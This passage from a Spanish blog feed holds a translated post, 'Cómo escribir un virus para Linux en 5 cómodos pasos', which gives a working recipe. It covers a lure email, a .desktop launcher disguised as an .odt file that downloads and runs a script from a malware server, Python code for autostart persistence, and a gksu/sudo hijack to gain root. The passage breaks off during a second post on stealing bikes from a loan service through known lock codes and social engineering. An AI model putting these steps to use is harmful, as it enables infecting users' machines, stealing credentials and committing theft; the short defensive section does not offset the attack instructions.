puede ejecutar un archivo ejecutable, los entornos de escritorio si que pueden como veremos. Entonces el email tiene que poner algo como esto:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        ¡Guau, mira estas fotos de desnudos de ...!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        (si el adjunto se abre guardalo en el escritorio y abrelo...)&lt;/span&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Eso sonará sospechoso para la mayoría de nosotros, pero 'la mayoría' no es 'todos' y la estupidez del usuario está en todos lados. Además, muchos usuarios de clientes de correo web suelen tener una rutina de guardar primero.&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;No subestimes la ignorancia del usuario - incluso en Linux&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Quizás puedas argumentar que la mayoría de usuarios de Linux tienden a estar un poco más al tanto de lo que están haciendo. Normalmente tienen que hacer una elección consciente sobre sus OSes y más aún tienden a no ser el típico usuario no técnico. ¡Pero eso está cambiando! Algunos portátiles están siendo vendidos con Linux por defecto. En ese caso puede que los usuarios no hayan tenido una elección de Linux consciente y puede ser simplemente un feliz ignorante como esos usuarios de Windows que clickan en archivos adjuntos de emails. También algunas grandes organizaciones están pensando en usar Linux como el entorno de escritorio. Varias ciudades y gobiernos alrededor del mundo, por ejemplo. Los usuarios no son técnicos tampoco y clickarán en los archivos adjuntos.&lt;/p&gt;&lt;br /&gt;Más aún, la ausencia de virus en el pasado ha dado a los usuarios de Linux una sensación falsa de seguridad. Estamos tan acostumbrados al mantra de "¡Linux es tan seguro, que ni siquiera necesitas software antivirus!" que probablemente no tenemos ningún anti-virus que nos pare cuando vayamos a hacer alguna bobería.&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Ok, volviendo a las cosas técnicas. La mayoría de clientes de correo guardan los archivos adjuntos en el escritorio del usuario o en la carpeta de descargas dónde el usuario irá a mirar. Entonces si el usuario finalmente no revisa el adjunto sino que simplemente clicka sobre el botón de "guardar" en el cliente de correo ahí podemos hacer el truco: El adjunto va a estar ahí, delante mismo del usuario. De hecho, me he dado cuenta que, por alguna razón, mi cliente de correo de Evolution algunas veces tiene problemillas abriendo directamente documentos normales como adjuntos. Por ejemplo, alguien me envió un archivo .odt pero Evolution algunas veces no arranca OpenOffice por mí.  Así que, cuando ésto no funciona, simplemente lo guardo y abro. ¡Yo mismo estoy entrenado para hacer este tipo de cosas!. Probablemente no soy el único.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Consiguiendo ejecutar el adjunto&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;Anteriormente dijimos que los adjuntos normalmente no son ejecutados cuando son guardados como ficheros. No hay extensiones estandar que indique que un fichero debiera ser ejecutado cuando se clicke sobre él, como ocurre en Windows. En vez de eso - y aquí está el segundo obstaculo que necesitamos salvar - para que el archivo sea ejecutable sobre Linux (o cualquier otro OS *nix), el bit de ejecución debe estar activo en los permisos del fichero. Esto es algo que Windows no tiene, y que se suele ver como una de las razones de por qué infectar un PC con Windows es tan fácil, y por qué es casi imposible en sistemas *nix. Cuando guardas un adjunto de un email sobre Linux, el bit de ejecución normalmente no está activo y entonces el fichero no puede ser ejecutado simplemente clickando sobre él. ¿Sin suerte?&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No tan rápido. Los entornos de escritorio modernos como Gnome y KDE, convenientemente ofrecen una bonita aplicación llamada 'lauchers' (NdT: lanzador de aplicaciones). Son pequeños ficheros que describen cómo se debe ejecutar algo. Sólo unas pocas líneas que especifícan el nombre, el icono que debe ser mostrado y el comando a ejecutar. Convenientemente, la sintaxis de esos ficheros de lanzadores es la misma para Gnome y KDE. ¡Y esos lanzadores no necesitan tener ningún permiso de ejecución activo en ellos! Los entornos de escritorio tratan esos ficheros como un caso especial, de forma que cuando clickas sobre ellos Gnome o KDE  ejecutarán felizmente el comando que está especificado dentro de la descripción del lanzador y sin necesidad de que el bit de ejecución esté activo. ¡Ahora estamos llegando a algo!.&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Un problema que no estamos encarando es que el comando que puede ser ejecutado por el lanzador realmente es sólo una línea y sólo un comando. Es un poco enreversado instalar malware con sólo un único comando. O no? Mira esto:&lt;/p&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;        % bash -c &lt;/span&gt;&lt;em style="font-style: italic;"&gt;"curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"&lt;br /&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&lt;em style="font-style: italic;"&gt;&lt;/em&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;¿Qué hace este comando? Ejecuta bash, un interprete de órdenes (parte de cualquier instalación por defecto), y le pasa como argumento la ristra con dos comandos sencillos, que bash ejecutará. El primer comando (curl) descarga un script de algun servidor de malware que hayas puesto en marcha y luego almacena el script en algún lugar que sepamos que podemos escribir (el directorio /tmp). Nótese que en algunos sistemas (Ubuntu, por ejemplo) no tienes curl, pero sí algun comando similar como wget. Eso complica un poco el comando actual, pero no es un problema insalvable, como se muestra en la guía paso a paso más adelante. El segundo comando (la llamada al intérprete de Python) ejecuta el recién script descargado (en el ejemplo es un script en Python). Ambos Python y curl (o wget) son componentes típicos de la mayoría de instalaciones por defecto de distros Linux.&lt;/p&gt;&lt;br /&gt;Si ponemos esto en la línea de ejecución de la definición del lanzador entonces un simple click en el lanzador permitirá la ejecución del comando, que realmente ejecutado dos, que permitirán la descarga y ejecución de un script arbitrario tan complejo como se quiera. Todo sin necesidad de que el bit de ejecución esté activo.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;No necesitas ser root para hackear (NdT: own es usado en la jerga hacker tal cual, junto con otras palabras como defaced, etc...) a alguien&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Nada de eso requiere privilegios de root. Y ahora nuestro script puede hacer lo que quiera dentro de los confines de la cuenta del usuario. Puede estar limitado, pero eso no previene la posibilidad de hacer una cantidad significativa de daño.&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Por ejemplo, puede robar el libro de direcciones del usuario para recolectar direcciones de correo y enviarlos a nuestro servidor de malware, comenzar a enviar spam o difundirse a si mismo por email. Puede isntalar una extensión para Firefox que captura contraseñas cuando el usuario las escribe. Puede compartir el escritorio via VNC sin conocimiento del usuario. Puede arrancar un demonio que haga saltar pop ups de anuncios. ¡Adware de Linux!  &lt;p style="margin-bottom: 0in;"&gt;Todo esto es ejecutado como un proceso normal del usuario. En verdad, en un sistema de escritorio que normalmente es usado por un único usuario, tener la cuenta de ese usuario es muy parecido a tener la cuenta de root, en lo que se refiere a hacer daño: Todas las acciones que te interesen serán llevadas a cabo en la cuenta del usuario.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;¿Pero quizás realmente quieras ser root para tu malware?. Bien, también hay una forma de conseguirlo, pero no está garantizado que funcione en todos los casos y francamente no es necesaria para infectar a una máquina. Para no distraernos de los puntos importantes de este artículo, tengo una discusión sobre ello en el apéndice.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Autoarranque después del reinicio&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Pero seguramente, incluso si el usuario no es capaz de encontrar el proceso ejecutándose y matarlo simplemente un reinicio lo parará, ¿verdad? Claro, son necesarios privilegios de root para que nuestro malware sea ejecutado automáticamente en caso de que el sistema se reinicio ¿cierto?.&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pues no. Los usuarios no necesitan privilegios de root para configurar ciertas aplicaciones para autolanzarse cuando entran en sus propias sesiones. Eso es porque sólo realizan cambios sobres sus probpias cuentas de usuario, no en el sistema que subyace. De nuevo, cualquier aplicación ejecutada  como parte de la sesión de usuario sólo correrá con el nivel privilegios de ese usuario, pero como hemos visto, ésto no es un gran problema. Muchas cosas interesantes se pueden hacer incluso así.&lt;br /&gt;&lt;br /&gt;Encontes, ¿cómo hacemos nosotros mismos para auto ejecutarnos cuando el usuario entra en el sistema? Hay un montón de scripts que se ejecutan cuando ejecutas un intérprete de órdenes, pero un usuario que hace click sobre un adjunto sospechoso no suele ejecutar un intérprete de órdenes muy a menudo a fin de cuentas. Afortunadamente, los entornos de escritorio modernos tiene su propio conjunto de comandos que autoejecutan en el login (NdT: ya está bien de traducirlo jejeje). En el caso de Gnome, echa un vistazo a lo que hay en ~/.config/autostart (puede que este directorio aún no exista, si aún no has configurado ninguna aplicación para que se autoejecute). ¡Sí! ¡Más lanzadores! Esos son ejecutados cada vez que el usuario se logea en Gnome. Para KDE es incluso mas simple: Sólo enlaza ha tu ejecutable desde la carpeta ~/.kde/Autostart.&lt;br /&gt;&lt;br /&gt;¡Nuestro malware entonces sólo necesita crear una entrada apropiada en esas carpetas y se ejecutará cuando el usuario se logée!&lt;br /&gt;&lt;br /&gt;Y eso es todo lo que hay. Dejo la escritura del script de malware como un ejercicio para el lector (NdT: El traductor tampoco va a enseñarlo, pero esto es obscenamente sencillo, de hecho, todo esto es muy muy simplón).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Guía compacta paso a paso&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bien, aquí está el sumario, que también se complementa con algunos detalles más específicos:&lt;em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/em&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Escribe una pieza de malware a tu elección. ¿Quizás un script en Python? Buen lenguaje, código eficiente, preinstalado en la mayoría de distros Linux y con una biblioteca estandar poderosa (por ejemplo, biblioteca para envío de peticiones HTTP y manejo de SMTP son parte de la mayoría de instalaciones estandar). Coloca ese malware en algún servidor web&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Tu malware necesita la habilidad de instalar un lanzador por si mismo para que se ejecute cuando el usuario se logée. Como ya se dijo, para Gnome eso significa crear una descripción del lanzador en la carpeta ~/.config/autostart. Para KDE simplemente enlazar tu ejecutable desde la carpeta ~/.kde/Autostart. Puedes hacer que el malware simplemente fuerce a copiar o enlazar en ambas localizaciones (creando los directorios si no existían) o puede ser un poco más listo y elegir la opción correcta basándose en el entorno de escritorio que detecte.&lt;br /&gt;&lt;br /&gt;Por ejemplo, para crear el acceso directo para KDE, todo lo que necesitas escribir en Python es:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;import os&lt;br /&gt;uname = os.getlogin()&lt;br /&gt;drop_dir =  “/home/%s/.kde/Autostart” %  uname)&lt;br /&gt;os.makedirs(drop_dir)&lt;br /&gt;os.symlink("/home/%s/.local/.hidden/s.py"  % uname, drop_dir+“/s.py")&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Para Gnome el script en Python necesitaría escribir un lanzador en el directorio apropiado:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;   import  os&lt;br /&gt;relauncher_str  = """&lt;br /&gt;[Desktop  Entry]&lt;br /&gt;Type=Application&lt;br /&gt;Name=Malware&lt;br /&gt;Exec=python  .local/.hidden/s.py&lt;br /&gt;Icon=system-run&lt;br /&gt;"""&lt;br /&gt;uname  = os.getlogin()&lt;br /&gt;drop_dir = “/home/%s/.config/autostart” %  uname&lt;br /&gt;os.makedirs(drop_dir)&lt;br /&gt;f  = open(drop_dir+”/Malware.desktop”,  “w”)&lt;br /&gt;f.write(relauncher_str)&lt;br /&gt;f.close()&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Escribir estas entradas de autoejecución es probablemente una de las primeras acciones que tu malware deba llevar a cabo.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Ahora creamos un lanzador para el instalador del malware, que es un poco diferente al lanzador que usamos para reiniciar el malware después de un reinicio. El lanzador para el instalador es lo que enviamos como adjunto en el email al usuario objetivo. Es lo que el usuario clickea después de guardarlo. Prueba algo como esto:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;[Desktop Entry]&lt;br /&gt; Type=Application&lt;br /&gt;Name=some_text.odt&lt;br /&gt;Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;&lt;br /&gt;                         DROP=~/.local/.hidden ;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;                        &lt;/em&gt;&lt;em&gt;mkdir -p $DROP;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;                        &lt;/em&gt;&lt;em&gt;if [ -e /usr/bin/wget ] ;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;                        &lt;/em&gt;&lt;em&gt;then wget $URL -O $DROP/s.py ;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;                        &lt;/em&gt;&lt;em&gt;else curl $URL -o $DROP/s.py ; fi;&lt;br /&gt;&lt;/em&gt;&lt;em&gt;                        &lt;/em&gt;&lt;em&gt;python $DROP/s.py'&lt;br /&gt; &lt;/em&gt;&lt;em&gt;Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Nótese que hemos especificado un nombre que aparenta no hacer daño e incluso elegido un icono que le hace parecer un documento normal (ese icono en particular está presente en Ubuntu (Gnome) y Kubuntu (KDE), pero no en Fedora). Si dices enviar fotos de desnudos en el email, sólo dale un nombre que aparente ser una imagen (algo con .jpg al final) y elige un icono estandar apropiado para imagenes.&lt;br /&gt;&lt;br /&gt;La línea de Exec es un poco más larga ahora, porque tenemos que tener en cuenta la posibilidad de que wget o curl estén instalados. Por ejemplo, sistemas Ubuntu suelen tener wget, mientras Fedora viene con curl. Pasamos el comando apropiado a bash para comprobar cual está presente y entonces llamar al comando correcto para descargar el malware. No soy un experto en bash, así que puede que haya una manera mucho mas eficiente de hacer esto. Pero pillais la idea. También en esa línea estamos creando una buena localización para el script ($DROP), que no es inmediatamente obvia. El comando mkdir con la opción -p creará silenciosamente tanto directorios padres como sean necesarios. El directorio objetivo está en el home del usuario, escondido en algún inocente directorio que aparente ser local y sólo se verá cuando se muestren archivos ocultos. El directorio /tmp por supuesto no es un buen sitio para nuestro malware, puesto que se borra con cada reinicio.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Guarda este lanzador bajo el nombre que especificastes en la línea Name, pero añade '.desktop' al final del nombre actual. En nuestro caso salvaremos el archivo como 'some_text.odt.desktop'. Cuando lo coloques en el escritorio verás que Gnome o KDE lo tratan de manera especial, sin enseñar la extensión '.desktop'. Así el fichero aparentará ser 'some_text.odt'. Por supuesto, eso también significa que el adjunto al correo tendrá esta extensión también. Algunos usuarios se darán cuenta, otros no.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Adjunta este fichero a un email, que apunte al receptor que guardará y abrirá el adjunto. Como se explicó, una vez esté guardado aparecerá como 'some_text.odt' en el escritorio del usuario. Y con el icono que hemos elegido en la descripción del lanzador aparentará no ser dañino.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Envía el email a tantas direcciones de email como tengas.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;¡Tachán! (NdT: Tenía que traducirlo xD). Un virus para Linux en 5 simples pasos. Cada usuario que guarde y abra el adjunto que enviastes se infectará con el script de malware que elegistes que también es reiniciado cuando el usuario se logea.&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Fue fácil, ¿no?&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Soluciones para el problema&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El solución más fácil para prevenir este tipo de problemas es simplemente no clickar ciegamente en adjuntos que la gente te envía. ¿Suena como una frase que has oido en el contexto de Windows antes? Puedes apostar. El kit es: Incluso en Linux este aviso debería ser tomado en serio.&lt;br /&gt;&lt;br /&gt;Una acción que puede ser tomada por los desarrolladores de Gnome y KDE: Hacer que los lanzadores requieran los permisos de ejecución. Un archivo adjunto guardado no los tendrá. Más aún, a pesar de que un lanzador sintácticamente correcto y apropiadamente nombrado sea dejado en el escritorio un usuario no puede hacer click en él y ejecutar si el bit de ejecución no esta activo.&lt;br /&gt;&lt;br /&gt;Tercero, dejar de perpetuar el mito de que el malware y los virus son sólo problema de Windows. Linux es -  en principio - tan vulnerable, por supuesto. Incluso así, los usuarios no trabajan con privilegios de root, si inadvertiamente ejecutan una pequeña parte de malware entonces mucho daño y autoejecuciones se pueden seguir haciendo. El simple hecho de que un archivo adjunto no correrá como root NO es suficiente protección contra la mayoría de cosas, como hemos visto. El hecho de que los archivos adjuntos no son guardados con los bits de ejecución NO es tampoco protección suficiente, debido a que los entornos de escritorio modernos te permiten maniobrar cuidadosamente alrededor de ésto.&lt;br /&gt;&lt;br /&gt;Ahora mismo, el limitado mercado de Linux en los sitemas de escritorio proporciona cierta protección. La arquitectura de seguridad ofrece un poco más de protección. Pero nada de esto está a prueba de idiotas. Y con despliegues de Linux en sitios interesantes - tales como organizaciones gubernamentales - esas instalaciones también se vuelven interesantes objetivos para autores de malware.&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;em&gt;&lt;strong&gt;Thunar?&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Es interesante, el administrador de ficheros Thunar, sobre xfce (Xubuntu 8.10) hace algo que los administradores de ficheros de Gnome y KDE no hacen. Marca el archivo lanzador como malware potencial y previene la ejecución mediante un simple click. Trabaja donde los archivos adjuntos son guardados desde Thunderbird o desde un cliente de correo web como Yahoo Mail. ¿Alguien conoce qué hace concretamente Thunar para concluir si es 'malware'?&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;A pesar de todo, he comprobado que funciona con las recientes Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Debido a que todo ésto está basado en funcionalidades de Gnome y KDE, asumo que la mayoría de distribuciones que utilicen esos escritorios son vulnerables también.&lt;br /&gt;&lt;/p&gt;   &lt;p style="margin-bottom: 0in;"&gt;&lt;em&gt;&lt;strong&gt;Bootnote (NdT: No se como traducirlo exactamente pero se sobreentiende)&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Hace algún tiempo había un &lt;a href="http://www.desktoplinux.com/articles/AT5785842995.html"&gt;reto &lt;/a&gt;orientado a escribir un virus que pudiera infectar un sistema de escritorio de Linux. El reto original contenía dos advertencias importantes, a saber: Primero, tenía que ser capaz de infectar la máquina que escribió el reto. Nada más se sabía de esa máquina. Por ejemplo, no sabíamos que escritorio estaba usando. Segundo, el virus debía poder escribir un fichero en el directorio/etc, que sólo suele tener acceso para el root.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Yo diría de un virus para Linux  que si es capaz de infectar instalaciones estandar de algunas distros populares es exitoso. Se que la aproximación que estoy sugiriendo puede infectar instalaciones estandar de Ubuntu, Kubuntu y Fedora por ejemplo.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Segundo, como remarqué arriba, conseguir privilegios de root no es necesario para infectar un ordenador con Linux con éxito. Es más interesante la cuenta del usuario que es infectado, ¿no? De todas formas, si hablamos sobre ordenadores de escritorio, en la mayoría de casos sólo va a haber un usuario. La distinción entre infectar un sistema (como root) o una cuenta de usuario (como el usuario) es como mucho académica. Debido a que una infectión tiene el mismo efecto que decir "la máquina está infectada". Después de todo, el usuario la mayoría de las veces se logeará y el malware se ejecutará en cualquier caso. Da igual, me puse en contacto con el autor de este reto y le expliqué la situación. Insistió en las reglas originales de este reto. Es justo, es su reto y por lo tanto sus reglas.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;¿Pues bien, y qué si realmente quieres ser root?&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-style: normal;"&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;em&gt;&lt;strong&gt;Apéndice: Consiguiendo ser root&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Conseguir privilegios de root es considerado siempre un poco como conseguir el santo grial de comprometer otra máquina. Como hemos visto, no conseguirlo no siempre te previene de pasar un buen rato con un virus. Pero ya para rematar la faena, déjenme mostrar una forma para que tu malware consiga ser root. Puede haber otras formas, pero ésta es la que yo hago por ahora.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;Puedes ver, incluso en Linux de escritorio normales, los usuarios hacen cosas como root. En el caso de Ubuntu por ejemplo usarás 'sudo' (o el equivalente gráfico gksu) de vez en cuando para realizar cierta administración del sistema. Quizás para administrar usuarios, cambiar la hora o para instalar nuevo software. Muchas cosas en el menú Sistema -&gt; Administración te pedirán tu contraseña por ese motivo. Por defecto, el usuario de un sistema de escritorio Ubuntu tiende a estar en el grupo 'admin', el cual está mencionado en /etc/sudoers. Así que, dando tu contraseña puedes realizar tareas con privilegios de root.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Ahora bien, ¿cómo podemos obtener ventaja de ésto? Tiene que ocurrir que las cosas del menú de tu Gnome están configuradas individualmente en algún lado. ¿Quizás podamos hackear eso de forma que en vez de synaptic (el administrador gráfico de paquetes) o cualquier otra utilidad que corra con sudo or gksu, nuestro bonito malware sea ejecutado? ¿Después de que el usuario dé su contraseña para sudo? Pero las cosas del menú están definidas en un lugar al que sólo se puede tener acceso de escritora como root. Echa un vistazo a /usr/share/applications. Ahí puedes encontrar - otra vez - un gran número de lanzadores. Estos están definiendo varias cosas del menú. Por ejemplo, echa un vistazo a synaptic.desktop. Puedes ver que contiene la siguiente línea:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;           Exec=gksu /usr/sbin/synaptic &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Sí, ¿y si pudiéramos ir y editar eso? Si nuestro malware pudiera ir ahí y cambiarlo a esto:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;           Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Eso ejecutaría nuestro malware con privilegios de root. Nótese de que silenciosamente pasamos el nombre original del ejecutable (/usr/sbin/synaptics) a nuestro malware, de forma que pueda arrancar synaptics después de que se dé a si mismo privilegios de root de forma permanente o de hacer lo que quiera como root. De esa forma el usuario no sospechará.&lt;br /&gt;&lt;br /&gt;Pero, no podemos editar ese fichero. ¿Sin suerte otra vez? Afortunadamente no. Gnome es suficientemente amable como para mirar si tenemos definiciones locales de alguno de esos ficheros desktop, que sobreescribirá los ajustes del sistema. Esos van en ~/.local/share/applications. Así que simplemente puedes hacer una copia de synaptic.desktop de /usr/share/applications a ~/.local/share/applications y los cambios que quieras en él. Entonces sólo tienes que sentarte y esperar por la siguiente vez que el usuario ejecute synaptics y ya está.&lt;br /&gt;&lt;br /&gt;Por supesto, no tienes por qué limitarte a synaptics. Para tener mejores posibilidades de ser ejecutado con privilegios de root cualquiera de las applicaciones en el menú de administración que requieran gksu son buenas. Y francamente, probablemente podrás hacer cambios parecidos e introducir gksu a muchas de las aplicaciones en en Sistema -&gt; Preferencias. Como usuario de Ubuntu, tendrás que dar tu contraseña a gksu de vez en cuando. Si el usuario no presta atención, no se dará ni cuenta de que se le ha pedido la contraseña por una utilidad que nunca antes la había pedido.&lt;br /&gt;&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;span style="font-style: normal;"&gt;Y para aquellos usuarios a los que les gusta usar el terminal (traductor presente): Bueno, en ese caso el malware simplemente liar un poco tu definición del path y colocar una versión 'tuneada' del comando sudo en tu path, que será ejecutado cada vez que escribas 'sudo'.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;span style="font-style: normal;"&gt;Como puedes ver, esto no te puede garantizar hacerte root (si el usuario nunca utiliza esos programas), pero tienes muchas posibilidades de conseguirlo si eres paciente.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;span style="font-style: normal;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Actualizado, Feb 12, 2009:&lt;/span&gt; Me resultaría sorprendente si yo fuera la primera persona que piensa en esta vulnerabilidad. Mirando un poco en Internet, no he podido encontrar referencias a ésto. El editor de LWN.net (NdT: Linux Week New, revista muy popular de Linux donde trabaja algún que otro desarrollador del núcleo incluso) hizo un mejor trabajo. Como señala &lt;a href="http://lwn.net/Articles/318755/"&gt;aquí&lt;/a&gt; ha habido&lt;/span&gt;&lt;span style="font-style: normal;"&gt; debates sobre las vulnerabilidades introducidas por los ficheros .descktop &lt;a href="http://lwn.net/Articles/178409/"&gt;desde 2006&lt;/a&gt;.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;br /&gt;&lt;/p&gt;Espero que esta traducción sirva de ayuda para la comunidad de hackers de habla hispana.&lt;br /&gt;&lt;br /&gt;Soy consciente de que hay varias faltas de ortografía (algunas las he visto yo mismo y otras sé que no las habré visto), e incluso también me doy por enterado de que en ciertas partes la traducción deja bastante que desear, pero creo que llega a las espectativas de alguien que quisiera ver este documento en español.&lt;br /&gt;&lt;br /&gt;Happy hacking! ;)&lt;br /&gt;&lt;p style="margin-bottom: 0in; font-style: normal; text-decoration: none;"&gt; &lt;/p&gt;&lt;em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/em&gt;&lt;p style="margin-bottom: 0in;"&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7349761597327887544?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7349761597327887544/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7349761597327887544' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7349761597327887544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7349761597327887544'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/02/como-escribir-un-virus-para-linux-en-5.html' title='Cómo escribir un virus para Linux en 5 cómodos pasos'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-2798919818736956677</id><published>2008-12-21T15:08:00.002Z</published><updated>2008-12-21T15:55:05.311Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='biciambiental'/><category scheme='http://www.blogger.com/atom/ns#' term='gran canaria'/><category scheme='http://www.blogger.com/atom/ns#' term='crackers'/><category scheme='http://www.blogger.com/atom/ns#' term='cadena'/><category scheme='http://www.blogger.com/atom/ns#' term='bicicleta'/><category scheme='http://www.blogger.com/atom/ns#' term='bici'/><category scheme='http://www.blogger.com/atom/ns#' term='candado'/><title type='text'>Cracking biciambiental</title><content type='html'>Buenas a los lectores de nuevo!&lt;br /&gt;&lt;br /&gt;Después de un tiempo sin postear nada vuelvo a la carga, esta vez con una vulnerabilidad facilmente explotable en... EL SERVICIO DE &lt;a href="http://www.biciambiental.org/"&gt;BICIAMBIENTAL&lt;/a&gt; de las palmas (de gran canaria)... aunque mas bien es una vulnerabilidad que da pie a varias casuisticas nada agradables.&lt;br /&gt;&lt;br /&gt;El sistema de prestamo funciona de la siguiente manera:&lt;br /&gt;&lt;br /&gt;- Te apuntas al servicio rellenando un formulario con tus datos y dandoselo al encargado de la oficina.&lt;br /&gt;&lt;br /&gt;- Enseñas tu DNI y pides una bicicleta.&lt;br /&gt;&lt;br /&gt;- Te dan una tarjeta con el numero de bicicleta y la contraseña de la cadena.&lt;br /&gt;&lt;br /&gt;La arquitectura de la infraestructura es la siguiente: Las bicicletas estan cerca del punto de peticion de bicis, ESTO NO IMPLICA QUE LOS ENCARGADOS LAS ESTEN VIENDO, de hecho en san telmo no estan controladas.&lt;br /&gt;&lt;br /&gt;Problema:&lt;br /&gt;&lt;br /&gt;Las bicis no estan en todo momento vigiladas por un dispositivo (me da igual si humano o maquina), esto produce que haya momentos en los que una persona podria tomar una bicicleta si anteriormente conoce la contraseña...&lt;br /&gt;&lt;br /&gt;Sobra decir que se puede pedir una bicicleta, ver la contraseña, devolver la bicicleta y llevarsela. Este es el ataque mas simple y aunque estoy seguro que seria bastante efectivo podemos mejorarlo. Aunque los encargados oficiales no nos esten vigilando, si podria estarlo alguien ajeno al sistema, usuarios de guaguas, vigilantes de las paradas, chofers, etc...). Si bien es ALTISIMAMENTE probable que aunque con todo descaro cojamos una bici y nos la llevemos no nos digan nada, si alguien nos parara diciendo "eh tu, no robes la bici" estariamos en una situacion un poco embarazosa y solo quedaria aplicar un poco de ingenieria social para librarse.&lt;br /&gt;&lt;br /&gt;- Eh tu! que haces robando una bici?!&lt;br /&gt;- Como que robando!?&lt;br /&gt;- No tienes la tarjeta credencial de haber pedido una bici y te acabo de ver quitandole 